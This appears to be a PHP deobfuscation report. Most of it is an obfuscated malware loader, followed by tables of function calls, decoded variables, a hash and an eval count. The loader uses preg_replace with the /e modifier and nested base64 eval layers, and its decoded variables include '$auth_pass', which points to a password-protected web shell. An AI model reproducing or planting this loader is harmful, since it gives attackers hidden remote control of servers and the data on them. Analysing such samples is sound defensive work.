sdrVm2Z1VvWTqb65iEceMOTgMGYx/BIc3liViNMayLg/uqm5xzc4uSigdPxHRtJ2fNetzvumpdwUArFSFTkwqTqxV34b/xw3bLcaM1rpYVmUA9MSKw8lp7drcbm8R1p5PdLiPWIIc7d1Siu3UxLjxeL/oV5q3aGXWmYvfZdMvLGvXii9Sr2OSH078aRDN7UpKdMlctSeVLvVEv2aL6YsD1MwXAUgFhD8pwQBggyQ+5uHJWAZm0eHBxzC8epuG1YLZe+FnRCvKs8jTC5hOtOI6oGlXRsOC/RkoMfcDDWthwsMI+d5ROqL7PN2nnilTrOdspdBSqy/SBeQ4Qssj0wUKXDjpTyPmURMENoLxaN1BmC06baOOvUABzLnQQOPayaWUZNuVsvz/RKeu0tYqggU6iMX1/8L";preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0pLU0doVlpWVTVURmxXWkZWaVZYQjBXVEpqT1ZsdFJucGFWRmt3V0RKU2JGa3lPV3RhVTJkcFYxY3hSMlZzY0ZWWFZFSlpUV3hLYzFkVVNUVmhNWEJTVUZRd2FVdFVjMnRsUkdzellVWlNTMVpyVVRKUFZFbzFVMFF4YVZsWVRteE9hbEptV2tkV2FtSXlVbXhMUTBwcVRURktOVmxyWkZka1UwbHdUM2xTTkZFd1kzbFVlbEUwVkRGT2VHVlVhemxaYlVaNldsUlpNRmd5VW14Wk1qbHJXbE5uYVZkVVNtOWxVMGx3VDNsU05GVlhUVFZpYWxsNlZWWkNWV0pVTVdsWldFNXNUbXBTWmxwSFZtcGlNbEpzUzBOS2FVMHdjSEpKYVdzM1NraG9UMkZXVmtoWFZYaGFWakIwUTFscU1XbFpXRTVzVG1wU1pscEhWbXBpTWxKc1MwTktZVTB6UW5kWmJURmhZekZzV1ZWdGQybExWSE05SWlrcE8yVjJZV3dvWW1GelpUWTBYMlJsWTI5a1pTZ2lTa2hvUzFwR1ZUUlViVnBvWkZVNWVGQlRValJVYld4V1VqRnNUVmRXWkV4UmJVbHZTa2hvVldWVk9VeFpWbVJWWWxWd2RGa3lZMjlLU0doTFdrWlZORlJ0V21oa1ZUbDRTMU5yTjBwSWFITmxibXMwWW5wT05sWlZiSEZqTVUwNVNraG5OVTR5YUZWVGJGcEZUbXByZVdWVloyOUtTR2hMV2taVk5GUnRXbWhrVlRsNFMxUnpQU0lwS1RzPSIpKTtldmFsKGJhc2U2NF9kZWNvZGUoIkpIaDFjblJDUzBKQ1NHb3lha0U5SnljN1ptOXlLQ1I0YTBKNlpFZHRaRTVEUkQwd095UjRhMEo2WkVkdFpFNURSRHdrZUd4NmVUaHZNM3BWU1dwelV6c2tlR3RDZW1SSGJXUk9RMFFyS3lsN0pIaDFjblJDUzBKQ1NHb3lha0V1UFNSNFEwY3lUelE0VDFOeGVUa29LQ1I0VVdNNWJqWXpVVkJVYlNna2VFcGtWVGhPWm1GMVQzRmJKSGhyUW5wa1IyMWtUa05FWFNsZU1qQXlPVGszTURJMk1Da3BPMzFsZG1Gc0tDUjRkWEowUWt0Q1FraHFNbXBCS1RzPSIpKTs='\x29\x29\x3B",".");return; ?>

Function Calls

preg_replace 1
chr 67579
base64_decode 11
Error_Reporting 1
ord 67579
strlen 1
gzinflate 1

Variables

$xJdU8NfauOq p5! < $5''titvb2676l6bmlgec`me5a20cmfb2f7g6c01voY^p7;8;&titv..
$xCG2O48OSqy9 chr
$xlzy8o3zUIjsS 67579
$xurtBKBBHj2jA $auth_pass = "6fbcb8b698317491a5fd7926f2c3b7de"; $color = "..
$xNiUGYLYWKBb gzinflate
$xkBzdGmdNCD 67579
$xTyOKaWTmJmcg base64_decode
$xQc9n63QPTm ord
$x97hTJVD692yH strlen

Stats

MD5 94e5def21d13b2d8f3ac7855b9d2f0f7
Eval Count 7
Decode Time 54218 ms